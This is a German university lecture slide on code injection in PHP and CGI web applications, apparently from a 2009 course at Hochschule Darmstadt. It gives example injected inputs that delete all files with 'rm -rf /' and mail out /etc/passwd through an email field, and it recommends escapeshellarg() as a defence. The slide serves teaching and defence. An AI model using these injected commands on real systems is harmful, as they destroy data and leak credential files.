23.11.2012 Aufrufe

div - beim Fachbereich Informatik - Hochschule Darmstadt

div - beim Fachbereich Informatik - Hochschule Darmstadt

div - beim Fachbereich Informatik - Hochschule Darmstadt

MEHR ANZEIGEN
WENIGER ANZEIGEN

Erfolgreiche ePaper selbst erstellen

Machen Sie aus Ihren PDF Publikationen ein blätterbares Flipbook mit unserer einzigartigen Google optimierten e-Paper Software.

5. Sicherheit<br />

Code-Injektion<br />

� Große Gefahr durch Ausführung von Systembefehlen (oder<br />

anderen Programmen) mit Parametern aus einem Formular:<br />

(durch unerwünschte Befehle innerhalb des Parameters)<br />

� PHP-Befehl: sinnvolleAntwort; system("rm –rf /");<br />

� Unix-Befehl mit ; als 2. Befehl angehängt:<br />

james; rm –rf /<br />

löscht alle Dateien statt bloß einen Benutzernamen zu liefern<br />

� mit | eine Pipe mit weiterem Unix-Befehl gebildet:<br />

nospam@fasel.com|mail bla@fasel.com < /etc/passwd<br />

versendet die Passwortdatei über die Eingabe einer eMail-Adresse<br />

� Vorsicht auch bei eval() . Der Parameter wird als PHP ausgewertet!<br />

� Systemaufrufe in CGI Skripten sollten möglichst vermieden werden<br />

� Inhalt mit escapeshellarg() etc. sichern<br />

alle Parameter, die an unumgänglichen Systemaufrufen<br />

beteiligt sind, besonders sorgfältig kontrollieren!<br />

Prof. Dr. R. Hahn, Prof. Dr. B. Kreling, h_da <strong>Fachbereich</strong> <strong>Informatik</strong>, Entwicklung webbasierter Anwendungen, SS2009<br />

365

Hurra! Ihre Datei wurde hochgeladen und ist bereit für die Veröffentlichung.

Erfolgreich gespeichert!

Leider ist etwas schief gelaufen!